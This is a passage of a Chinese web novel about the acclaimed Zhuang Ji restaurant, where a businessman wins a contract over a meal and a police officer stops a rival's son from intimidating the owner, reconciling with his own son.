创瀚科技老蒋：[老于，我听说那位常总喜欢打桌球，我觉得你可以约他去台球室，如果谈不下来，你还可以给他一棍。] 于父：[……] 于父：[学会了，下次你不跟我合作我就给你一棍，] 飞鸿建材老李：[或者把他灌醉，让他稀里糊涂地签了算了。] 新元珠宝老廖：[要我说还不如见面直接拉过他的手强制他签了呢，还省一顿喝。] 于父：[你们都闭嘴吧，一个个净出馊主意，上午用了你们的法子下午我公司的股价就得下跌。] 飞鸿建材老李：[嘿，那你可以约他周末去谈，周末不开盘，跌不了那么快，可以再苟一段时间。] 北光服饰老石：[就是，瞧瞧你们都净出什么什么馊主意，要我说还不如老于自己说的那个办法呢，是什么来着？哦想起来了，好像是说请对方去庄记谈合作，绝对一谈一个准。] 老石这是笑于父之前发在群里的话，那天于父吃完庄记后，就高兴地给他们安利。 ——“各位老板们！我发现了一样好东西！！一家比御水轩还要好吃的小饭馆！以后就带合作方来这里谈生意，绝对一谈一个准！” 他们就是在那个时候知道了庄记。 不过，对于于父的夸大其词，他们并不在意。 先别说小饭馆怎么跟御水轩比，就是真的比御水轩好吃，请了合作方去小饭馆，那环境，一下子就给合作方留下不好的第一印象了。 还怎么谈后续合作？ 群里其他人都看得出来这句话是在调侃于父，纷纷大笑起来。 不过于父还真认真思考起来：是啊，还有这个法子呢，试试也无妨。 于父：[谢谢你提醒。] 北光服饰老石：[？？？我瞎说的，你真听了？] 创瀚科技老蒋：[别冲动啊，开始还有点机会，你这样一搞，说不定真的一点机会都没有了。] 于父：[放心吧，我有分寸。] 新元珠宝老廖：[看不出哪里有分寸，还不如我们的法子呢。] 飞鸿建材老李：[我就不信了，你这样要是能谈成，我跟你合作的那个项目，可以再给你让利5％。] 要是真谈下来了，那就不止多了一个项目，还能多赚老李给的钱，左右于父都不亏。 于是，他爽快应下：[行，我跟常总约了后天见面，到时候出了结果我立马跟你们说。] 第45章 第45章 约好和常总见面的那天，于父提前让助理去了庄记饭馆排队。 原本他是想预定一个位置的，但谁知，庄记饭馆竟然不可以预约。 就只好先让助理去排队了，不然总不能叫合作方跟自己一起排，就怕人家当场甩脸子走了。 这种情况还不是最坏的，以庄记的畅销程度，最怕的是辛辛苦苦排到自己后饭菜都卖光了，这才是最倒霉的。 于父脑补了一下那个场景，后怕地轻摇头，坐在他旁边的常总瞧见后好奇地问：“于总这是想到什么了？” “哦，没什么。” 在合作方面前走神，于父临场反应很快，随意用一个幽默的口吻调侃了一下自己，不仅把常总逗得哈哈笑，还不动声色地把这一茬扯过去了。 常总此时心情颇为愉悦，问：“咱们今天是去哪里吃饭啊？” 常总是外地人，这是第一次来溪城。 原本该是让手底下的人到这边考察合作方的公司工厂，再让对方到他那边谈合作的。 不过常总对待工作认真，于父又是他的重点考虑合作对象之一，便亲自来了一趟。 溪城发展速度不及大城市，整体弥漫着平民百姓慢悠悠的生活气。 在这兜一圈，常总觉得自己的生活压力都变小了不少。 所以来溪城后，一切吃喝都交给了作为东道主的于父。 “先保个密。”于父神神秘秘道。 带着浓重的好奇心，最后，常总发觉车子停在了一家路边的饭馆前。 常总看着眼前的苍蝇小馆，一时陷入深思。 小饭馆不算很惹眼，唯独人很多，来来往往进进出出的人群无不彰显着店内生意的火爆。 于父见常总不说话，忽然开始忐忑起来，思考这个决定是否正确。 他是提前了解过，常总每到一个地方就特别喜欢品尝当地美食，是一位纯粹的美食爱好者，才产生了带他来这里的念头的。 现在看来…… “这家店的生意看上去很好窝，味道是不是很不错？” 常总出身不太好，是这么多年来靠着自己一步一步白手起家走到这个高度的，他看着眼前这家外观跟星级酒店有着巨大差别的店，只想起了自己以前的奋斗时光。 于父没想到对方不嫌弃，忙说：“何止不错，不夸张的说，这是整个溪城最好吃的店了，我让助理拿了位置，不如我们进去再聊？” 店里座无虚席，助理虽然早早来排了队，其实也刚刚才点完单，菜还没被端上来。 常总打量着四周，布局整洁，简单舒服，他用手指擦了下桌子，干干净净，没有灰尘也没有油脂。 常总对这家店的好感度又上涨了些，他饶有兴致地续着前面的话题：“这是溪城最好吃的店？可来之前我让助理查了下，如果我没记错的话，排在溪城美食榜首的店似乎是御水轩。” 老板不可能记错，而对面的也是公司老总，总不能指责对方说是人家错了，常总助理深吸口气：“应该是我查错了。” 于父摆摆手：“哎，你没查错，现在网上的溪城美食榜榜首确实是御水轩没错，甚至在我没吃过这家店之前，我也觉得御水轩是最好的，但在我吃过之后，几乎每晚都在遗憾，为什么不能早点遇到这家店。” 于父的夸张描述让常总一下子拉满了期待：“那我可要看看是不是真这么好吃了。” 没多久，饭菜被端上来。 跟人谈合作，最重要的是把牌面拉满，再加上店里的菜式也不算多，于父让助理把所有菜都点了一份。 饶是常总有了心里准备，但看到后还是免不了一阵惊讶。 常总自己就是个喜欢美食的，这些年由于工作原因，经常各地飞，自然也尝过不少各地的特色美食。 然而即便见了再多，此刻却觉得吃过的所有美食，外观都不如眼前摆着的佳肴。 细细对比的话，这家饭馆的饭菜甚至比人均五位数的饭店还要好看。 其中最直观的当属山茶花酥和菊花豆腐了。 之前谈生意，就要合作方邀请常总去过百味楼。 他记得，百味楼也有一款山茶花酥，原以为那份已经够美，没想到眼前这份更甚。 至于菊花豆腐就不用说了，作为国宴菜式，几乎是有点名气的高级饭店都必备的菜式。 不可否认，能作为国宴菜，菊花豆腐确实有它的优点：美、优雅、从外观上就透露出本国的风雅，而且配上精心熬制的高汤，连普通的豆腐都变得极致美味。 只是有时候见多了，便习以为常了，再见时，已经没有了最初的惊艳。 然而当常总看到同一个碗里一灰一白的两块菊花豆腐时，露出了久违的惊叹。 竟然，还可以这样创新？！ “居然这么好看？” 常总感叹，面前的菜式除了摆放好看外，色调也是一绝，明显能感觉到厨师对食材的了解程度以及对火候的超绝掌控力。 “不止好看，还很好吃呢，赶紧趁热先吃吧。” 于父看见常总的反应，终于松了一口气，不管最后能不能谈成合作，带他来庄记这番举动总没错。 况且，也能让常总看看，他溪城虽然落后了点，但也不是什么都没有的。 作为溪城人的骄傲在此刻体现得淋漓尽致，到了这地步，能否签下合同反而已经没那么重要了。 用餐时刻，常总一一将桌上的菜品尝了一遍，每吃一样，都会露出震惊的神情。 因为每当他觉得前一道菜的味道好吃到无法用语言描述、应该是所有菜式里的天花板时，下一道菜总会刷新他的认知。 到最后，只剩羊排还没尝试。 常总最喜欢吃的食物就是羊肉，不过也因为羊肉难处理，要是处理得不好，就会有一股羊膻味，一点羊膻味就能让他难受好几天，所以不是别人吃过且推荐的羊肉，他一般不吃。 也因此，他的一些好友常常对此感到不理解，谁能想到一个对羊膻味那么敏感的人，羊肉竟然会是他最爱的菜呢？ 对此，常总只笑笑，说大概是因为他第一次吃的羊肉就没什么羊膻味吧。 不过现在，在尝过前面那么多菜的铺垫下，常总隐隐觉得，这份香酥羊排不会差到哪里去。 就试试吧。 常总拿起一旁的一次性手套戴上，捏起一块羊排。 羊排通体呈现出一种诱人的金黄，闻起来还有种炸制过后的特殊香气，油脂香混着羊肉的特殊鲜香，常总就轻嗅了一下，身体里的馋虫就被勾了出来。 闻着就好香，好像还有卤料的香气。 常总做了下吞咽动作，张嘴就朝羊排咬了一口。 牙齿咬破酥脆的外层，率先触碰到的是一阵炸过的焦香，而后有微烫的汁水迸溅，这是……里面的羊肉竟是嫩得爆汁！ 又烂又嫩，满嘴都是卤料的香气，完全没有羊膻味，味道很绝！ 而且这块羊排外表那层酥脆是薄薄的，香脆的同时又不油腻，常总讶异地盯着这块羊排看，内里的肉炖得烂到拉丝，没被扯下的肉连着骨头，带着一些香喷喷的油脂松松地晃荡着。 常总不是第一次吃炸羊排，但却是第一次吃到这么香的炸羊排。 其他店的羊排总是吃了没几口就开始觉得腻，而同样经过高温油炸的羊排，庄记的就不会。 那是因为庄凝冬在做这份炸羊排时，是在羊排上裹上干粉炸，而不是裹上厚重的面糊。 挂面糊可以锁上水分，通常是用来炸生肉的，并且炸过一遍之后要复炸第二遍，而庄凝冬做的这份羊排，事先已经卤了一遍，肉已经足够软烂，如果此时再长时间炸制的话，不仅里面的肉就会发柴，羊排中的肥油也会变得更腻。 “这羊排里面的油真的太香了！” 常总吃得停不下来，软乎乎的油块挂在羊肉上，化出来浓郁的香气和嫩肉混在一起，别提多好吃了。 于父刚刚咬下一大块肉，吞都没吞就连忙附和：“这份香酥羊排是新上的，我也是第一次吃，没想到这么好吃。” 一开始于父吩咐助理把店里所有的菜都点一份时，并不知道店里新上了香酥羊排，如果他知道的话，反而会交代助理不要点。 因为除了这份新上的羊排，其他的菜式他都尝过，可以保证所有菜式的味道都是顶尖的，倘若这里头，出了一样味道一般的菜式，那么印象多多少少会打折扣。 为了避免出现这种情况出现，最好的做法当然是不点新品了，不过现在看来，真是多虑了 常总吃着吃着，还用筷子拨了一点乳白色的油脂到松软的白米饭里，和着一起吃，清香的饭粒油津津的，巨香！ 吃到最后，他甚至连一次性手套上沾了的味道都想吮一下。 这个念头刚出来时，常总都被自己吓了一跳。 自从赚了第一桶金后，他就没再有过温饱方面的问题，再加上长期以往居于高位，自然有着成功人士该有的体态和举动。 吮手套实在是太失颜面了。 他刚才狼吞虎咽到从来没吃过饭的模样就已经够失态了。 现在是万万不—— 然而他还没想完，手指就已经自动送进了嘴里…… 常总一愣，下意识抬眼看向四周，才发现于父他们几个人都在看着自己。 “……” 常有些尴尬地咳了一声：“我以为我没戴手套……啊，不是，我以为我还拿着羊排呢。” 于父非常理解他的举动，也很给面子地没笑他：“怎么样？常总觉得这家饭馆的味道如何？有没有满足您的期待？” 都情不自禁吮手套了。 味道何止是满足了期待，更是超出了期待。 “非常好！”常总虽有些意犹未尽，但他已经吃得很饱了。 桌上的菜还剩了一些，于父让助理拿了打包盒过来打包。 常总看着有点馋，问：“这些你要打包带走？” 于父：“是啊，别浪费嘛。” 常总张了张嘴，犹豫着：“能给我吗？” 于父有点怀疑自己的耳朵：“啊？” “这儿的剩菜能让我带走吗？” 作为有商业性质的一顿饭，哪有让客人把剩菜带回去吃的道理，再加上常总难得来一趟溪城，哪能让人千里迢迢来这吃剩菜的道理。 本着这层原则，于父才准备自己带回家的。 不过，常总都开口了，那就给他吧。 于父：“可以。” 后面常总又去了于父的公司工厂视察了一番，不知是不是在庄记吃的那顿饭起了作用，常总爽快地跟于父签下了合同。 虽然于父原本也在常总的考虑之内，不过他确实是在吃过那顿饭后才定下要跟于父合作的。 无关其他，只是他见过了太多谄媚他的合作商，常常为了讨好他就带他出入金碧辉煌的高端场所，甚至因为服务员犯了一点点小错就张嘴落下一顿劈头盖脸的谩骂。 常总自己就是从底层混上来的，看到这样的风气自然厌恶。 而于父能发现这么有烟火气的一个地方，说明他人是没什么架子的，而且从他在小馆里的一举一动也能看出他这个人是值得深交的。 签好合同的那天，于父对着合同拍了张照，码掉重要信息，就发到了几个老总朋友的群里—— [成功拿下，所以，我想问问，你打算再给我让利5％的合同什么时候签？@飞鸿建材老李] 飞鸿建材老李：[？？？] 不止老李，其他几人也是齐齐发了几个问号过来。 不是？还真让他拿下了？！ 新元珠宝老廖：[啊？常总他真是因为庄记才跟你签合同的吗？] 创瀚科技老蒋：[这字我都看得懂，可是所有连在一起我怎么就觉得那么魔幻呢？！跟常总的合作，就这么被你拿下了？？] 北光服饰老石：[老于，你是不是用了其他什么神秘的法子不肯告诉我们？] 飞鸿建材老李：[老于啊，伪造合同可是违法的。] 于父：[什么伪造，我都懒得理你，现在你们可以不信我发的合同，反正后续你们关注一下市场消息就行了，不说了，我要跟常总去吃晚饭了。] 于父：[对了，再给我让利5％的合同，你现在就可以拟了@飞鸿建材老李] 飞鸿建材老李：[……知道了知道了。] 常总和于父在台球室打了一下午的台球，到了饭点，常总想起还没尝过的御水轩，那点尝新劲一上来，便问于父要不去御水轩吃一顿。 于父自然是没什么意见。 只不过到了那之后，常总吃了第一道菜就开始后悔了，吃第二道菜时，常总开玩笑问没吃过的菜能不能退，吃第三道菜时，他笑不出来了，说要不现在去庄记吧。 他们还真就去了庄记。 不过由于去得太晚，庄记的饭菜早就卖完了。 就连刚刚在御水轩打包的东西，也让助理带走回去吃了。 庄记饭馆门前，于父和常总四目相对，相顾无言。 这属于是，芝麻没捡着，还把西瓜给丢了。 等车的时候，于父拿出手机，见那些老总朋友还是觉得很不可思议，就跟他们多聊了几句，把今天常总说要去御水轩，觉得御水轩不好吃，中途提议去庄记，结果到了庄记之后发现卖完了的倒霉事三言两语说了出来。 结果他们听完后，更迷惑了。 一有头有脸的老总，什么好吃的没吃过，至于这么疯狂？ 新元珠宝老廖：[不是，真这么神奇？？] 飞鸿建材老李：[那你们后面去哪里吃饭了？] 于父：[……还是御水轩，叫外卖了。] 几人顿时笑个不停。 创瀚科技老蒋：[很戏剧，戏剧到我怀疑你转行写剧本了，你以后不会要往影视行业发展吧？] 新元珠宝老廖：[真的很难让人不怀疑啊。] 北光服饰老石：[不懂的人还在质疑，而懂事的人已经跟别的合作商约好吃饭地点了。] 其他人：[？？！] 于父笑眯眯地友好提醒：[庄记没法预留位置，人很多，记得提前去排队。] 其他人：[！！！] …… 最后，原本该是明天走的常总，因为头一天晚上没吃到庄记的事，又多留了两天，说是为了监督于父在这个项目上的工作进度。 于父：“……” * 这天周末，曾娴难得不加班，周谦便提出请她出去吃饭。 曾娴问：“去哪吃啊？” “庄记，就是卖那块山茶花酥的饭馆！其他东西也很好吃的。” 曾娴警惕：“不会是你请客，我买单吧？别整这死出啊，我平时给你的零花钱也不少了。” “不会，我哪是这种人？” 周谦摸摸鼻子，其实是他上次为了偷吃辛苦排队买到的山茶花酥，骗他妈说没买到的事被发现了。 周谦欲哭无泪，谁知道那队伍里面就那么巧，藏了认识周谦但周谦并没什么印象的曾娴的朋友呢？ 曾娴还因此扣了他一个月的零花钱。 这顿饭就为了赔罪吧。 “所以妈妈，您能把扣掉的零花钱还我吗？” 图穷匕见。 曾娴笑得很温柔：“不能。” “……” 曾娴语气威胁：“所以你就不请客了？” “怎么会？”怎么敢？ “……” 周谦算得上是庄记的老顾客了，娴熟地掌握了每个时段的最佳排队时间。 因而在决定去庄记吃饭后，周谦就很积极地说他先去排队，等快到了，再喊曾娴过来。 这样不用两个人一起累。 排队中途，周谦算着时间，估计等曾娴来到就差不多了。 正要打电话让她过来，没想到曾娴动作更快，先给周谦打了电话。 “喂，妈，怎么了？快到我们了，你可以过来了。” “还没拿位置是吧？正好，给你爸爸也留一个位置吧，你爸他今天下午休息，说中午下了班就过来。” 挂了电话后，周谦的心情有点复杂。 他跟他爸关系不太好，准确来说，是周谦单方面跟周肃关系不好。 因为周肃工作性质原因，经常需要临时加班，也拒绝不了，所以在周谦小的时候，周肃答应过周谦的很多事情，就常常没做到。 比如说，带周谦去游乐园，答应帮他过生日，参加他的家长会…… 久而久之，在一次次失落中，周谦已经不再相信他爸了。 这就导致，在之后周谦慢慢长大的过程中，父子俩的交流越来越少。 没多久，曾娴来了，两人看着菜单，随意点了些够三个人吃的菜就找位置坐下了。 周谦的位置方向能清楚地看到门外的风景，他百无聊赖地抠着手指，跟曾娴慢慢等着。 可是，当菜都上完好一会儿以后，都没见周肃的人影。 周谦冷淡地想，果然，又来不了了。 心情不太好，连香喷喷的饭菜周谦都觉得好像比之前差了点意思。 随着时间的流逝，周谦渐渐感觉到烦躁，特别是在第五次有陌生人来问那张空椅子有没有人坐时。 在客流量那么大的情况下，庄记的位置算不上多，拼桌也是常有的事，因而他们见到空位置都会上前问问。 “要不别等了吧？” 周谦都有点不太好意思占着空椅子那么久，一直都没人来，别人不会以为他故意的吧？ “我再打个电话问问。” 曾娴刚说完，周谦就看到他爸从外面走了进来。 周谦赶紧挪开目光：“不用打了，他到了。” 终于可以开动，周谦低头吃着饭，觉得饭菜的香味又恢复了一点点。 有周肃在的饭局，不止饭局，有他在的空间，周谦其实都很少说话，一直都是曾娴和周谦在说。 在谈论这饭菜的味道怎么这么好吃，又聊到是怎么发现这家店的。 曾娴说是周谦发现的之后，周肃又很夸张地夸他怎么这么厉害，居然能找到这么好吃的饭馆，说那是他这辈子吃过第二好吃的饭菜。 这么好吃才排第二，那什么能排第一？ 周谦偷偷腹诽着。 曾娴替他问出了心中的疑问。 周肃笑笑说，他这辈子吃过最好吃的是周谦十岁那年第一次给他做的饭菜。 周谦愣住，那大概是他第一次庆幸周肃没能按时回来，因为一道最简单的炒鸡蛋被他做得一塌糊涂。 不仅糊得发黑，盐粒聚在一起，都没化开，咸得发麻。 他当时受挫，厨房狼藉都是曾娴在收拾，他还以为还那碟炒鸡蛋已经被倒掉了。 没想到…… 周谦想说点什么，却又不知道说什么，他这个年纪，实在说不出太矫情的话。 却无法否认，他心情好像因此变好了点。 没等他说出什么，门外就走进来浩浩荡荡的几个人。 他们穿着短袖，五月天，明明不是多热的天气，他们却把袖子撸到肩膀上，露出健壮结实的手臂肌肉，其中，有两个人的手臂上还有看上去就很凶悍的纹身。 看着不像要来吃饭，反而像来搞事的。 果不其然，他们越过排着的队伍，直接走到收银台那，为首的那人一掌拍在桌子上，鱼缸里的水都被震起了涟漪，两条锦鲤被惊到猛然游动。 “你老板呢？让她出来。” 第46章 第46章 面前几人身强体壮，季初曼虽然是第一次面对这样的场景，但也丝毫不慌。 众目睽睽之下，难道他们还想动手不成？ “不知道你们找我家老板有什么事，是私事的话麻烦等会儿再来，别挡着做生意了。” 其他老顾客看见了，也有点不悦，这几个大男人想干嘛呢？ 老板就一小姑娘，人也善良，平时待他们也好，他们可不信老板会惹到这群人。 莫不是他们特意来找茬的吧。 光天化日之下，真是太嚣张了！ “你们这是在干什么？要买东西就到后面排队去，不买的话就让开点啊，别浪费我们的时间行不行？” “找老板什么事啊？我跟老板是异父异母的家人，跟我说也是一样的，我倒要听听是什么个事。” 人群中已经有人拿出手机开好摄像头对着那几个人拍：“你们这阵仗是要搞事吗？加油，我能不能火就靠你们了，标题我已经想好了，就叫《震惊，四个壮汉来了饭店之后不但不点餐反而……》。” 队伍里还有小朋友，兴许是被家长牵着手，他此刻胆大得不行，一只手的手指在脸蛋上划拉几下，奶声奶气道：“老师平时在学校教我要让着点女孩子，没想到你们几个大男人却合起伙来欺负大姐姐，真不要脸～羞羞羞～” 原本只是想带人过来恐吓一下这家店老板的陈伟此刻涨红了脸。 前几天，他爸跟左邻右舍打听到庄记的一些消息，在得知对方才开了不到两个月的店就将生意做得风生水起后，整个人都不好了。 嫉妒得要死，并认定一定是对方把顾客都抢走了。 想着怎么也得对方一点教训。 起初陈伟爸还在担心这件事不好搞，在得知对方只是一个小姑娘时，顿时放宽了心。 女生么，胆子都比较小，而且在某种程度上，攻击力和体型都不如男性有先天优势。 不管怎样，估计都会选择息事宁人。 陈伟爸便想着让陈伟找点人去吓吓，于是，就有了今天这一出…… 不过情况跟想象中的出入有点大，陈伟此刻被人群围住，成为众矢之的，一下子把提前准备好的台词也忘了个精光。 他脑子不太灵光，以前读书时成绩就垫底，后面更是读不下去就早早辍学了，临场反应能力也为零。 虽然忘了来找事的台词，但被怼了他还是知道骂回去的。 “我跟老板之间的私事跟你们有什么关系？我劝你们还是不要多管闲事，”陈伟下一刻看向拿手机的，边指着边走过去，“我说你拍什么拍呢？小心我手机都给你摔昂。” “请问你们找我有什么事？”庄凝冬从后厨走出来：“我不认识你们，不知道你们找我有什么事，不过既然是来找我的，麻烦不要为难我的顾客。” 当时庄凝冬正在做菜，听见外头的吵闹声有点奇怪时，才反应过来好像出事了。 “你就是这家店的老板？”陈伟闻声转头，盯着庄凝冬，“我来是为了警告你——” 人群中，一道沉着中又带着严厉的男声打断他：“警告什么？” 同时，他人从人群中走了出来，是周谦爸爸周肃。 他出示了自己的证件：“警察，既然你们聚众寻衅滋事，那只好跟我走一趟了。” 陈伟听见警察两个字后，魂都给吓飞了。 谁能想到这么倒霉？竟然一来找事就遇到了警察。 况且，这种以前经常发生在校园胡同里的恐吓事件居然会严重到要进局子。 陈伟没什么文化，还是个法盲，他是真不懂这些。 其他三个跟着陈伟一起来的人，瞬间齐齐退开，留陈伟一人在那站着，将自己撇得干干净净： “我跟他不认识的，我都不知道他叫什么名字，我就是进来凑个热闹，警察大哥，不要抓我啊。” “我突然想起我家煤气忘关了，大家都知道这件事有多严重吧，我得赶紧回去一趟。” 有人不动声色拉下自己的衣袖：“这天气还是太热了啊，刚刚一路走来，太阳大到不行，热死我了，进了屋子里头才凉快了些，哦对了，我是来吃饭的，我这就去后面排队……” 其他人一看外面，天气阴沉沉的，哪有什么太阳。 一起进来的四人，霎时只剩陈伟一个。 陈伟看着那几个人的背影，忍不住咬牙在心中暗骂，但此时面对着警察…… 他不知道该怎么狡辩，但也知道撒腿就跑。 周肃看着他，并没有追上去。 这个毛头小子看着年轻，身形也瘦小，进来之后眼珠子就到处好奇地乱瞟，看起来就没什么胆子把事闹大，估计就是懒散了点。 再加上又没闹出多大的事，带回去录个笔录就放出来了。 周肃也便作罢。 庄凝冬上前，跟周肃道了声谢：“真是太谢谢您了，不知道怎么称呼。” “我姓周。” “周警官。” 周肃：“刚听你说，你不认识他们？” 庄凝冬确实对他们毫无印象：“不认识，我也不知道他们是来干嘛的。” 此时，人群中有人说：“我想起来了！我说刚刚看到中间那小伙子怎么会觉得眼熟，他家就在隔壁街的一家饭店，我以前在那吃过几次饭，有时候会见到他自由出入店铺内部，我觉得他能上门搞事，说不定就是背后的大人指使的。” “你这么一说，我好像也有点印象了，我以前也在那吃过饭，不过那家店的味道真不咋地，跟庄记一比，简直连猪食都不如，所以我好久都没在那吃过饭了。” “哎，是不是因为自家生意不好，所以他们才来找庄记麻烦啊？” “估计就是这样了吧，真够不要脸的，自己生意差不想着从自己身上找原因，提升自己的厨艺就算了，竟然还好意思来找别人麻烦？！都避雷那家店吧，以后我就算饿死，都不会吃他家的东西的。” …… 兴许就跟顾客们说的一样，是恶意的同行竞争。 这样的行为无论在哪个行业都会有，周肃还是提醒了一句：“不知道他们还会不会再来，总之，你是打开门做生意的，不用怕他们，你越是害怕，越是妥协，他们就越是得寸进尺。” 庄凝冬点头，她也没想过退缩。 毕竟她做事磊落，身正不怕影子斜， 周肃还拿一张纸写了一串数字：“这是我的电话号码，下次要是再有人恶意闹事，你可以给我打电话。” “还有，我观察过了，你店里没有摄像头，我的建议是，尽快装一个比较好，万一下次还有人来闹事，也能取证，”周肃说，“像你店里生意那么好，人来人往的，之后或许也能免掉一些纠纷，总归没什么坏处。” 这话说得有道理，像以前在大燕朝的时候，就是因为没有摄像头，所以发生了许多盗窃之事都没办法追究。 不过这些还是轻的，比之更严重的陷害也是常有发生，特别是在宫里的时候。 有一次，庄凝冬就着了奸人的道，差点成了谋害妃子的罪人，不过还好，不仅自己师父无条件站在她身边，那个妃子也肯相信她，并且愿意帮助自己洗清冤屈。 其实除此之外，还有一个人经常帮她。 想到这，庄凝冬脑海中浮现出一个闲散的身影…… 庄凝冬很快回神，认真应下：“好，我会的。” 出于好意，以及想表达对对方的感谢，庄凝冬又道：“您吃饭了周警官？要是还没有的话不妨坐下来，请您吃顿饭。” “吃饭就不必了，我已经有位置了，跟家里人来的，”工作性质原因，周肃不好接受一些好意，他也猜到庄凝冬只是单纯想感谢他，便道：“刚才的事是我应该做的，不然也对不起这个职位，店里还有很有很多人，就不打扰你做生意了，你先忙。” 对方一身清正廉洁之气。 倒是她考虑得不够周到了，庄凝冬朝周肃笑了笑：“也好。” 店里的人群重新恢复成整齐的队伍有序地排着。 周肃正要回座位上，有一道稚嫩的声音自下方响起—— “哇，警察叔叔你好帅啊，坏人都被你吓跑啦～”刚刚的小孩子仰头，眨巴着眼睛一脸崇拜地看着他。 周肃低头朝他笑了笑，夸他：“你刚刚也很棒，遇到坏人能勇敢地站出来，是个有担当的男孩子，要继续加油知道吗？” 小朋友绷着小脸一本正经地点点头：“警察叔叔你放心吧，我一定会好好加油的，我要好好吃饭，快点长大，等以后长大了，我也要当警察，去保护更多的人！” 下一秒，小朋友就转头笑嘻嘻地跟他家长炫耀：“妈妈妈妈，我被警察叔叔夸奖了哎，我的小伙伴们都没被警察叔叔夸过呢，我是不是特别厉害？” 男孩妈妈：“是是是，等会儿就奖励你一个鸡腿。” …… 周肃重新回到座位上时，周谦正腹诽着那个小孩，这可是他爸爸，当然帅了。 周谦当然知道他爸爸是警察，从很小的时候开始。 以前小的时候，他就经常为自己的爸爸是个警察而感到光荣和骄傲，特别是读幼儿园那阵子，幼儿园的小伙伴都会兴高采烈地围着他转。 因为他有个警察爸爸。 在那个时候，警察可是老师嘴里夸得最多的职业之一。 所以小孩子们都特别崇拜，还会缠着周谦问他爸爸平时是怎么打坏人的，虽然周谦没见过，但面子作祟，他还是会手舞足蹈地比划着，加上夸张的声势描述，小伙伴们都会被帅到发出一片哇声。 不过到后来，在慢慢长大中，在周肃一次又一次的不断失约下，这股强烈的光荣和骄傲在逐渐叠加的失落中变淡，甚至有演变成讨厌的趋向，却又矛盾地夹杂着爱。 他会想，为什么他爸爸偏偏是警察，那些陌生人有那么重要吗？比亲生儿子都重要？ 他到底是他的爸爸还是其他人的爸爸？ 以前的周谦一直不理解。 比这更不理解的，就是他不懂他妈到底是怎么看上他爸的，他爸这个样子，年轻的时候肯定没少放他妈的鸽子。 怎么说他妈也是个公司的总，能力这么出色，怎么就非要找个鸽子精呢。 直到方才，周谦亲眼目睹了他爸出手，平息了一场恶意滋事。 当身临其境，周谦才直观地感受到用警察这个身份去帮助有需要的人有多帅。 特别是出示证件，搭配上一声铿锵有力的“警察”，对方立马吓得脸都白了的时候。 实在太有安全感了。 周谦觉得，自己以前打的一套“组合拳”都没法将刚刚万分之一的帅气展现出来。 “别光扒拉米饭，还有那么多菜呢。”周肃说着，给周谦夹了一块羊排。 羊排表面裹着一层金黄的焦，看着就很酥脆，一口下去，外酥里嫩，爆汁的羊肉饱含卤料的香气，有脆脆的焦香，还有松软油脂的香味，简直香迷糊了。 羊肉不知道怎么处理的，竟然一点羊膻味都没有，而且，明明是油脂占比很重的羊排，吃起来居然也不油腻。 这是周谦吃过最好吃的炸羊排，香到连骨头都啃得停不下来。 而这么好吃的炸羊排，是庄记的老板做的。 周谦转念想到，刚刚要不是有他们这些顾客在，有他爸在，也不知道庄记的老板会受到什么样的欺负。 老板人看着柔柔弱弱的，他真怕老板被欺负恐吓后就真的不敢继续开店了。 周谦很喜欢吃庄记的东西，自然也喜欢庄记的老板，没有老板就不会有这么好吃的东西，这层因果他还是懂的。 所以他不希望老板出事，不希望以后再也吃不到这么好吃的东西。 在周谦庆幸老板没被欺负的同时，他也不由得想到了之前被他爸帮助过的人。 他们也都是被爱着的人，也会有人祈祷他们平安。 这种感觉，跟他希望庄记的老板好好的是一样的。 以前的周谦只会从自己的角度看待问题，所以他很烦他爸。 但现在，他好像会从其他人的角度开始思考了，并开始理解他爸的行为。 那是周肃这个身份职业的职责所在，他可以对不起自己，可以对不起家人，但在面对人民时，必须义无反顾。 难怪曾娴会非他不可。 确实有责任有担当。 周谦原谅他了。 周谦把骨头上的味道都吮完后，也给他爸夹了一块，并小声道：“我自己会夹，你也多吃点。” 周肃一愣，随后惊喜地和曾娴对视一眼。 这是他们闹矛盾以后，周谦第一次给周肃夹菜。 不知道是不是刚刚的事起了作用，但总归是好事。 周谦：“谢谢儿子。” 饭吃到最后，瞅了一圈，现在位置也不紧缺，他们一家三口便坐着，喝着茶，稍歇了会儿饱到撑的肚子。 曾娴忽然开口：“哎呀，你给我转钱干嘛？这顿饭是儿子花的钱。” 周肃听完后，有些许的讶异，很快他又给周谦转了笔钱。 不过周谦很有骨气地没收。 他说：“男子汉大丈夫，说是我请客就我请客，你想给钱的话，就等下次吧。” 周肃笑：“行，那下次再来，到时候我请客。” 周谦早就了解了他鸽子精的性质，此刻看开后，心情不觉烦躁，反而能轻松地开起玩笑来：“下次？下次是什么时候？下次是吃鸽子吗？我等会儿就搜搜鸽子怎么做才好吃，鸽子汤？红烧鸽子肉？还是烤鸽子？” 听懂了内含之意，周肃和曾娴都忍不住笑了起来。 曾娴轻锤周肃，笑骂：“瞧瞧你在孩子心中都留下什么样的印象了。” “怪我，”周肃又问周谦，“要是下次真吃鸽子怎么办？” “还能怎么办？反正饭菜不给留，钱还是你出。” “行。” 没逗留多久，他们就离开了庄记。 周谦忽然想起以前曾娴对他说过的话：“你爸爸可能不是一个称职的爸爸，但一定是一个称职的警察。” 当时的周谦听不进去，都不是称职的爸爸了，那他还理解他干嘛？ 而现在的周谦只想反驳。 不，不是的，爸爸除了是个称职的警察，还是称职的爸爸。 给他树立了一个正义的好榜样。 周谦在心中暗暗发誓，等以后，他也要做一个为人民的好警察。 * 胖叔木桶饭店。 陈父看着灰头土脸铩羽而归的陈伟，一串不分青红皂白的唾骂张嘴就来：“你他妈怎么一点儿用都没有啊！看你这鸟样就知道事没成，那店里不就两个小娘们儿吗？还有个老的，你他妈不是还花钱请了人？” 陈父服了，越想越不理解：“不是，你们几个大男人，啊？这都……” 让陈父越想越不爽的是，还他妈亏钱了，操！ 陈伟本来就烦陈父自己不去做，却要他出头做这样的事：“你在这叫唤什么啊？你要是那么能你怎么不自己去？净让我干这些缺德事呗，怎么，我丢脸是我的事，跟你没关系是吧？老子裤兜都没你摘得那么干净，妈的又当又立，你知道那店里有警察吗？！等我进去了你就高兴了是吧？” 陈父是真没猜到有警察，所以此刻他愣了愣神：“什么？警察？” 陈伟朝他啐了一口：“我呸！下次要干什么你自己去干，别拖老子下水，老子不干了。” 陈伟说完就要走，想起什么又回头冷笑了声：“对了，我再好心提醒一句，人家店里的人可维护她了，在去找事前先掂量掂量自己吧。” 陈母原本对陈父这个诡计睁只眼闭只眼，起初她没同意也没拒绝，如今听到有警察后，说什么也不让陈伟去了，并朝陈父哭骂：“陈德我警告你！我可就这么一个儿子，你想干什么你自己去干！别拖我们母子俩下水！” “当初说的时候你不也没反对？你现在搁这儿怪老子？” 